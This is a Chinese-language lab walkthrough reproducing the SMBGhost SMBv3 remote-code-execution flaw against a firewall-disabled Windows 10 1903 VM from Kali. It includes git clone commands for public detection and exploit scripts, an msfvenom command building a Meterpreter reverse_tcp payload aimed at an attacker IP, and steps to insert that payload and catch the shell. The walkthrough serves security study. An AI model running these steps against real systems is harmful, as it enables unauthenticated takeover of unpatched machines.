Microsoft Server Message Block 3.1.1(SMBv3)协议在处理某些请求的方式中存在代码执行漏洞。攻击者可以精心构造数据包发送到SMB服务器,无需经过身份验证,即可在目标服务器上执行任意代码。攻击者可通过部署一台恶意SMB v3服务器,并诱导用户(客户端)连接到该服务器,一旦目标用户连接,即可在计算机上执行攻击者自定义的恶意代码。由于上述漏洞与WannaCry(2017年5月“永恒之蓝”)漏洞较为相似,易被蠕虫利用传播恶意程序,可能会成为恶意软件和攻击者广泛利用的漏洞
0x01 影响范围
-
Windows 10 Version 1903 for 32-bit Systems
-
Windows 10 Version 1903 for ARM64-based Systems
-
Windows 10 Version 1903 for x64-based Systems
-
Windows 10 Version 1909 for 32-bit Systems
-
Windows 10 Version 1909 for ARM64-based Systems
-
Windows 10 Version 1909 for x64-based Systems
-
Windows Server, version 1903 (Server Core installation)
-
Windows Server, version 1909 (Server Core installation)
0x02 测试环境
靶机:cn_windows_10_consumer_editions_version_1903_x64 (关闭防火墙)
攻击机:kali 2020.1
(PS:如果步骤没错却不能攻击成功,可以重启Win10再尝试)
0x03 漏洞复现
3.1 漏洞检测
通过git 命令下载检测漏洞的python脚本
1 git clone https://github.com/ollypwn/SMBGhost.git
利用脚本测试目标主机是否脆弱
3.2 漏洞利用
下载漏洞攻击的脚本
1 git clone https://github.com/chompie1337/SMBGhost_RCE_PoC.git
exploit.py原文件不能直接用来攻击,需要修改其中的USER_PAYLOAD部分
利用msfvenom生成payload
1 # lhost为kali的IP,lport为监听端口 2 msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=10.10.10.104 lport=4444 -b 'x00' -f python
为了防止操作失误,将exploit.py原文件文件进行备份
用vim打开exploit.py
将USER_PAYLOAD部分删除,替换为我们之前用msfvenom生成的payload
替换之后,在最后追加一行 USER_PAYLOAD = buf ,保存并退出
在另一个窗口打开MSF开启监听
执行exploit.p脚本对Win10进行攻击
再返回查看开启了MSF的窗口,已经成功连接
在Win10上查看端口,连接存在